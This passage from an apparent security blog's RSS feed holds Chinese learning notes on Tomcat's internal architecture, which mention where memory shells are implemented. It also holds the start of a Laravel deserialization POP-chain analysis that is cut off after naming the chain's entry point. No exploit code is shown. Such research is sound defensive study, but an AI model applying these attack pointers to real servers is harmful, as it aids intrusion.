}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ehbY-1658996841822&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Fxky-1658996841821&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dw6B-1658996841824&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZaEr-1658996841823&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;y1p8-1658996841826&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Rd65-1658996841825&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xHT2-1658996841828&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hKVq-1658996841827&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.execute(command, 0L, TimeUnit.MILLISECONDS);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uFaP-1658996841830&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XwtU-1658996841829&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Qrz6-1658996841832&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FOTT-1658996841831&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wiL7-1658996841834&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7y9g-1658996841833&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HC7X-1658996831110&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xxK7-1658996831109&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TCUT-1658996831195&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mDw9-1658996831193&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JTUZ-1658996831280&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Y6VQ-1658996831279&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Z6z3-1658995176353&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WlWW-1658995176351&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:12}]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0); color: rgb(0, 0, 0); font-style: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration: none;"><p><br/></p><p><span style="font-size: 26px;font-weight: bold;">正文</span><br/></p><p>从最基本的功能来讲，我们可以将服务器描述为这样一个应用：</p><p><span style="font-weight: bold;font-size: 16px;">它接收其他计算机（客户端）发来的请求数据并进行解析，完成相关业务处理，然后把处理结果作为响应返回给请求计算机（客户端）。</span></p><p><span style="font-weight: bold;font-size: 22px;">基本架构</span></p><p><img class="rich_pages wxw-img" data-ratio="0.8032544378698225" style="width: 363px;height: 291px;" data-type="png" data-w="1352" src="https://wechat2rss.xlab.app/img-proxy/?k=a71bbc6d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr4FibB6yVU9fn8icFnibNgL8MebByl3KfcSiaAjMbT6c1xoB6egPeTmLxpQy21iazw25tpibjOzgj6SPwhA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-weight: bold;font-size: 20px;">1.Server</span></p><p><span style="font-weight: bold;font-size: 18px;">    定义：</span></p><p>表示整个Servlet容器，整个Tomcat运行示例中仅有唯一一个Server实例。</p><p><br/></p><p><span style="font-weight: bold;font-size: 20px;">2.Service：</span></p><p><span style="font-weight: bold;font-size: 18px;">    定义:</span></p><p>Service表示一个或多个Connector的集合。</p><p>一个Server可以包含多个Service，每个Service用于维护其中多个Connector与一个Container，即来自多个Connector的请求只能由此Service所维护的Container处理。不同Service之间相互独立，仅共享一个JVM以及系统类库。</p><p><br/></p><p><span style="font-weight: bold;font-size: 20px;">3.Container</span></p><p><span style="font-weight: bold;font-size: 20px;">    定义：</span></p><p>Container表示能够执行客户端请求并返回响应的一类对象。</p><p>在Tomcat中存在不同级别的Container容器：Engine、Host、Context、Wrapper。</p><p>是整个Tomcat的处理逻辑核心。</p><p><span style="font-weight: bold;font-size: 18px;">    结构图：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.5735294117647058" style="width: 282px;height: 166px;" data-type="png" data-w="680" src="https://wechat2rss.xlab.app/img-proxy/?k=630abcfe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr4FibB6yVU9fn8icFnibNgL8Mec0pDnO4McCVdAnc3LWvTPTrBtCFnT3QhvmaErsHtovyTcnLp5mNibsA%2F640%3Fwx_fmt%3Dpng"/></p><p>此外，Tomcat的Container还有 一个很重要的功能，就是后台处理。在很多情况下，我们的</p><p>Container需要执行一些异步处理，而且是定期执行，如每隔30秒执行一次，Tomcat对于Web应用文件变更的扫描就是通过该机制实现的。</p><p>Tomcat针对后台处理，在Container上定义了backgroundProcess()方法，并且其基础抽象类( ContainerBase )确保在启动组件的同时，异步启动后台处理。因此，在绝大多数情况下，各个容器组件仅需要实现Container的background-Process()方法即可，不必考虑创建异步线程。</p><p><span style="font-weight: bold;font-size: 20px;"><br/></span></p><p><span style="font-weight: bold;font-size: 20px;">4.Connector：</span></p><p><span style="font-weight: bold;font-size: 18px;">    定义：</span></p><p>负责监听并处理Socket请求，根据不同的协议与I/O方法选择不同的实现逻辑并交给对应的Container处理。</p><p><span style="font-weight: bold;font-size: 18px;">    主要作用：</span></p><ul yne-block-type="list" style="margin: 0px;" class="list-paddingleft-1"><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;color: rgb(0, 0, 0);font-weight: normal;font-style: normal;text-decoration: none;background-color: rgba(0, 0, 0, 0);font-family: &#34;Microsoft YaHei&#34;, STXihei;text-indent: 0px;list-style-type: disc;"><p>监听服务器端口，读取来自客户端的请求。</p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;color: rgb(0, 0, 0);font-weight: normal;font-style: normal;text-decoration: none;background-color: rgba(0, 0, 0, 0);font-family: &#34;Microsoft YaHei&#34;, STXihei;text-indent: 0px;list-style-type: disc;"><p>将请求数据按照指定协议进行解析。</p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;color: rgb(0, 0, 0);font-weight: normal;font-style: normal;text-decoration: none;background-color: rgba(0, 0, 0, 0);font-family: &#34;Microsoft YaHei&#34;, STXihei;text-indent: 0px;list-style-type: disc;"><p>根据请求地址匹配正确的容器进行处理。</p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;color: rgb(0, 0, 0);font-weight: normal;font-style: normal;text-decoration: none;background-color: rgba(0, 0, 0, 0);font-family: &#34;Microsoft YaHei&#34;, STXihei;text-indent: 0px;list-style-type: disc;"><p>将响应返回客户端。</p></li></ul><p><span style="font-weight: bold;font-size: 18px;">    支持协议：</span></p><ul yne-block-type="list" style="margin: 0px;" class="list-paddingleft-1"><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;color: rgb(0, 0, 0);font-weight: normal;font-style: normal;text-decoration: none;background-color: rgba(0, 0, 0, 0);font-family: &#34;Microsoft YaHei&#34;, STXihei;text-indent: 0px;list-style-type: disc;"><p>HTTP（默认）</p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;color: rgb(0, 0, 0);font-weight: normal;font-style: normal;text-decoration: none;background-color: rgba(0, 0, 0, 0);font-family: &#34;Microsoft YaHei&#34;, STXihei;text-indent: 0px;list-style-type: disc;"><p>AJP（默认）</p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;color: rgb(0, 0, 0);font-weight: normal;font-style: normal;text-decoration: none;background-color: rgba(0, 0, 0, 0);font-family: &#34;Microsoft YaHei&#34;, STXihei;text-indent: 0px;list-style-type: disc;"><p>HTTP/2（Tomcat8之后）</p></li></ul><p><span style="font-weight: bold;font-size: 18px;">    I/O协议：</span></p><ul yne-block-type="list" style="margin: 0px;" class="list-paddingleft-1"><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;color: rgb(0, 0, 0);font-weight: normal;font-style: normal;text-decoration: none;background-color: rgba(0, 0, 0, 0);font-family: &#34;Microsoft YaHei&#34;, STXihei;text-indent: 0px;list-style-type: disc;"><p>BIO（Tomcat8.5之后移除）</p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;color: rgb(0, 0, 0);font-weight: normal;font-style: normal;text-decoration: none;background-color: rgba(0, 0, 0, 0);font-family: &#34;Microsoft YaHei&#34;, STXihei;text-indent: 0px;list-style-type: disc;"><p>NIO</p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;color: rgb(0, 0, 0);font-weight: normal;font-style: normal;text-decoration: none;background-color: rgba(0, 0, 0, 0);font-family: &#34;Microsoft YaHei&#34;, STXihei;text-indent: 0px;list-style-type: disc;"><p>APR</p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;color: rgb(0, 0, 0);font-weight: normal;font-style: normal;text-decoration: none;background-color: rgba(0, 0, 0, 0);font-family: &#34;Microsoft YaHei&#34;, STXihei;text-indent: 0px;list-style-type: disc;"><p>NIO2（Tomcat8之后）</p></li></ul><p><span style="font-weight: bold;font-size: 18px;">    结构图：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.48426150121065376" style="width: 319px;height: 144px;" data-type="png" data-w="826" src="https://wechat2rss.xlab.app/img-proxy/?k=30ae092b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr4FibB6yVU9fn8icFnibNgL8MeqXUibibx5HVScicrSF3LwicyKB3jibE1EoHeU1ZaLPvMynQX1Qm7GnOQhDg%2F640%3Fwx_fmt%3Dpng"/></p><p>    ProtocolHandler：</p><p>协议处理器，针对不同的协议类型与I/O方法提供不同实现。</p><p>其中，Endpoint用于启动Socket监听，并调用对应的Processor处理；</p><p>    Processor：</p><p>为具体的处理逻辑实现。</p><p><span style="font-weight: bold;font-size: 20px;"><br/></span></p><p><span style="font-weight: bold;font-size: 20px;">5.Mapper和MapperListener</span></p><p><span style="font-weight: bold;font-size: 18px;">    定义：</span></p><p>Mapper用于维护容器映射信息，同时按照映射规则（Servlet规范定义）查找容器。</p><p>MapperListener实现了ContainerListener和LifecycleListener， 用于在容器组件状态发生变更时，注册或者取消对应的容器映射信息。</p><p>为了实现上述功能，MapperListener实现了Lifecycle接口，当其启动时（在Service启动时启动），会自动作为监听器注 册到各个容器组件上，同时将已创建的容器注册到Mapper。</p><p><span style="font-weight: bold;font-size: 18px;">    设计逻辑：</span></p><p>当Processor读取客户端请求后，需要按照请求地址映射到具体的容器进行处理，这个过程即为请求映射。由于Tomcat各个组件采用通用的生命周期管理，而且可以通过管理工具进行状态变更，因此请求映射除考虑映射规则的实现外，还要考虑容器组件的注册与销毁。</p><p><span style="font-weight: bold;font-size: 20px;"><br/></span></p><p><span style="font-weight: bold;font-size: 20px;">6.Adapter：</span></p><p><span style="font-weight: bold;font-size: 18px;">    定义：</span></p><p>默认为Coyote的servlet Container入口点。</p><p><span style="font-weight: bold;font-size: 18px;">    设计逻辑：</span></p><p>Tomcat通过该适配器模式实现Connector与Mapper、Container的解耦。</p><p>若想要使用Adapter方案，但是又想脱离Servlet容器，只需实现自定义的Adapter即可，但同样的，自定义的容器实现需满足Container定义。</p><p><br/></p><p><span style="font-weight: bold;font-size: 20px;">7.Engine：</span></p><p><span style="font-weight: bold;font-size: 18px;">    定义：</span></p><p>Engine表示整个Servlet引擎。在Tomcat中，Engine为最高层级的容器对象。尽管Engine不是直接处理请求的容器，却是获取目标容器的入口。</p><p><span style="font-weight: bold;font-size: 20px;"><br/></span></p><p><span style="font-weight: bold;font-size: 20px;">8.Host：</span></p><p><span style="font-weight: bold;font-size: 18px;">    定义：</span></p><p>Host作为一类容器，表示Servlet引擎（即Engine）中的虚拟机，与一个服务器的网络名有关，如域名等。客户端可以使用这个网络名连接服务器，这个名称必须要在DNS服务器上注册。</p><p><span style="font-weight: bold;font-size: 20px;"><br/></span></p><p><span style="font-weight: bold;font-size: 20px;">9.Context：</span></p><p><span style="font-weight: bold;font-size: 18px;">    定义：</span></p><p>Context作为一类容器，用于表示ServletContext，在Servlet规范中，一个ServletContext即表示 Context。</p><p><br/></p><p><span style="font-weight: bold;font-size: 20px;">10.Wrapper：</span></p><p><span style="font-weight: bold;font-size: 18px;">    定义：</span></p><p>Wrapper作为一类容器，用于表示Web应用中定义的Servlet Executor。</p><p><span style="font-weight: bold;font-size: 20px;"><br/></span></p><p><span style="font-weight: bold;font-size: 20px;">11.Executer：</span></p><p><span style="font-weight: bold;font-size: 18px;">    定义：</span></p><p>表示Tomcat组件间可以共享的线程池。</p><p><br/></p><p>在Tomcat中Executor由Service维护，因此同一个Service中的组件可以共享一个线程池。如果没有定义任何线程池，相关组件( 如Endpoint)会自动创建线程池，此时，线程池不再共享。<br/></p><p>在Tomcat中，Endpoint会启动一组线程来监听Socket端口，当接收到客户端请求后，会创建请求处理对象，并交由线程池处理，由此支持并发处理客户端请求。</p><p><br/></p><p><span style="font-weight: bold;font-size: 20px;">12.Lifecycle：</span></p><p><span style="font-weight: bold;font-size: 18px;">    定义：</span></p><p>用于管理组件生命周期的核心接口，提供通用性定义用于应用服务器的统一管理。</p><p><span style="font-weight: bold;font-size: 18px;">    设计逻辑：</span></p><p>Tomcat中所有组件均存在启动、停止等生命周期方法，拥有生命周期管理的特性。因此，Tomcat针对所有拥有生命周期管理特性的组件抽象了一个Lifecycle通用接口,该接口定义了生命周期管理的核心方法。</p><ul yne-block-type="list" style="margin: 0px;" class="list-paddingleft-1"><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;color: rgb(0, 0, 0);font-weight: normal;font-style: normal;text-decoration: none;background-color: rgba(0, 0, 0, 0);font-family: &#34;Microsoft YaHei&#34;, STXihei;text-indent: 0px;list-style-type: disc;"><p>Init(): 初始化组件</p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;color: rgb(0, 0, 0);font-weight: normal;font-style: normal;text-decoration: none;background-color: rgba(0, 0, 0, 0);font-family: &#34;Microsoft YaHei&#34;, STXihei;text-indent: 0px;list-style-type: disc;"><p>start(): 启动组件</p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;color: rgb(0, 0, 0);font-weight: normal;font-style: normal;text-decoration: none;background-color: rgba(0, 0, 0, 0);font-family: &#34;Microsoft YaHei&#34;, STXihei;text-indent: 0px;list-style-type: disc;"><p>stop(): 停止组件</p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;color: rgb(0, 0, 0);font-weight: normal;font-style: normal;text-decoration: none;background-color: rgba(0, 0, 0, 0);font-family: &#34;Microsoft YaHei&#34;, STXihei;text-indent: 0px;list-style-type: disc;"><p>destory(): 销毁组件</p></li></ul><ul yne-block-type="list" style="margin: 0px;" class="list-paddingleft-1"><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;color: rgb(0, 0, 0);font-weight: normal;font-style: normal;text-decoration: none;background-color: rgba(0, 0, 0, 0);font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p>addLifecycleListener(): 添加LifecycleListener以用于监听组件状态。</p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;color: rgb(0, 0, 0);font-weight: normal;font-style: normal;text-decoration: none;background-color: rgba(0, 0, 0, 0);font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p>removeLifecycleListener(): 移除LifecycleListener。</p></li></ul><p>Tomcat核心组件的默认实现均继承自LifecycleMBeanBase抽象类,该类不但负责组件各个</p><p>状态的转换和事件处理，还将组件自身注册为MBean,以便通过Tomcat的管理工具进行动态维护。</p><p><span style="font-weight: bold;font-size: 18px;">    </span><span style="font-size: 18px;font-weight: bold;">Lifecycle状态转换：</span></p><p>状态图：</p><p><img class="rich_pages wxw-img" data-ratio="0.7867435158501441" style="width: 415px;height: 329px;" data-type="png" data-w="1388" src="https://wechat2rss.xlab.app/img-proxy/?k=40e9e700&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr4FibB6yVU9fn8icFnibNgL8Meictkb7TGIvmnstnfqRIEL3HibWLyQGnkJHNmahgKNa4P8LnRtl9y1R8Q%2F640%3Fwx_fmt%3Dpng"/></p><p>Tomcat生命周期事件与状态映射：</p><p><img class="rich_pages wxw-img" data-ratio="0.3593519882179676" style="width: 595px;height: 214px;" data-type="png" data-w="1358" src="https://wechat2rss.xlab.app/img-proxy/?k=79a3c253&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr4FibB6yVU9fn8icFnibNgL8MeyoxjoVibIGKETz3ZYDmCmOsO0NF3vbqjlEuERCU0PibtaJicwIXbp41CA%2F640%3Fwx_fmt%3Dpng"/></p><p><img data-ratio="0.26138032305433184" style="width: 595px;height: 156px;" data-type="png" data-w="1362" src="https://wechat2rss.xlab.app/img-proxy/?k=81df8ef5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr4FibB6yVU9fn8icFnibNgL8MeZJtVKJsLXCFup9qCKxCgul1jPJiaibgUljgtwJI5Nicr9l6Up4L2jv0uw%2F640%3Fwx_fmt%3Dpng"/></p><p>Tomcat默认提供了3个与状态无关的事件类型,其中PERIODIC_ EVENT主要用于Container的后台定时处理，每次调用后触发该事件。</p><p>CONFIGURE_START_ EVENT和CONFIGURE_ STOP_ EVENT将在一些组件的configure加载中起到作用。</p><p><br/></p><p><span style="font-weight: bold;font-size: 22px;">处理逻辑</span></p><p>将上述组件整理一下，整个Tomcat的组成可概括为：</p><p><img class="rich_pages wxw-img" data-ratio="0.3884673748103187" style="width: 494px;height: 196px;" data-type="png" data-w="2636" src="https://wechat2rss.xlab.app/img-proxy/?k=36f02954&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr4FibB6yVU9fn8icFnibNgL8Met37SYFBZFfHsV1PdZbheItR2kHzMicVkzLpKSlkc8IicyqcW30FyicGRg%2F640%3Fwx_fmt%3Dpng"/></p><p>从这个角度来看Tomcat可分为两部分，Connector与Container。</p><p>Connector又分为ProtocolHandler与Adapter。</p><p><br/></p><p>ProtocolHandler主要用于处理底层的Socket链接（其实是一个<span style="color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">SocketChannel对象</span>），然后通过Processor处理为Tomcat Request交给Adapter。</p><p>Adapter作为Connector与Container的连接器，自然需要将我们的Request请求转发给Container，但为了满足servlet规范，Adapter将会在这里将其转换为标准的ServletRequest。</p><p><br/></p><p>在通过Mapper查找到映射关系后，Adapeter将会使用<span style="color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);">getPipeline()获取Pipeline中的Basic Value 将request传入Containner中。</span></p><p><br/></p><p>上述文章只是一个简略描述，实际的处理逻辑会更加复杂。</p><p>传入Container后的处理逻辑在这里不过多描述，我们常用的Servlet，Filter，Listener内存马都是在Container中实现，关于它们的原理网上也已有很多分析。</p><p><br/></p><p>补一张各组件的请求流程处理图：</p><p><img class="rich_pages wxw-img" data-ratio="0.6662011173184358" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;width: 595px;height: 396px;" data-type="png" data-w="1432" src="https://wechat2rss.xlab.app/img-proxy/?k=89527dce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr4FibB6yVU9fn8icFnibNgL8MepZbyxlCJqI6vBoDXrf2AqLazBXsTvjdvP21sh25noYE07UcqnllHfg%2F640%3Fwx_fmt%3Dpng"/><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -webkit-standard;font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;"></span><span style="font-size: 26px;font-weight: bold;"><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -webkit-standard;font-size: 14px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;display: inline !important;float: none;"></span></span></p><p><br/></p><p><span style="font-size: 26px;font-weight: bold;">后记</span></p><p>学习笔记一篇。</p><p><br/></p><p><br/></p><p><span style="font-size: 12px;"></span></p><p><span style="font-size: 12px;"><br/></span></p></article>



<p><a href="2247483784">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=1890c925&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2MjgxOTc4MA%3D%3D%26mid%3D2247483784%26idx%3D1%26sn%3D684c5c23dbb1474c209fe201b33c4c41%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 29 Jul 2022 01:14:00 +0800</pubDate>
    </item>
    <item>
      <title>Laravel反序列化 POP Chain3分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2MjgxOTc4MA==&amp;mid=2247483748&amp;idx=1&amp;sn=490812aaafd8ae937144a279dbc7e2da</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>深蓝</span> <span>2022-07-04 20:29</span> <span style="display: inline-block;">四川</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=12db4c70&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FYOLztAD7Qr789yDVv0hmEzpqZiasLUdbQ5Dn6tIL2zibbwiba88icxnFA1LsXJGb9Rs3zszNBcNKNJEeP9PUubO2iaQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;line-height: 1.5em;"><span style="font-size: 20px;">前言</span><br/></section><section style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="color: rgb(51, 51, 51);font-family: Arial;font-size: 14px;background-color: rgb(255, 255, 255);">最近在忙hvv前准备，没看啥东西。</span></section><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3060-1621846615933&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p5PQ-1621846617594&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;最近在忙hvv前准备，没看啥东西。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;j29L-1656913591973&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;A6i4-1656913591957&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Laravel是一套简洁、优雅的PHP Web开发框架(PHP Web Framework)。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;by2v-1656913805749&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cssh-1656913805747&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;该框架中存在一些反序列化的问题。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wSS0-1656914359999&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6B44-1656914359985&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;首先利用链的入口点为&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]},{&#34;text&#34;:&#34;src/Illuminate/Broadcasting/PendingBroadcast.php&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#dd1144&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgba(0, 0, 0, 0.04)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Courier New&#34;}]},{&#34;text&#34;:&#34; ，查看其__destruct()&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34; 方法：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 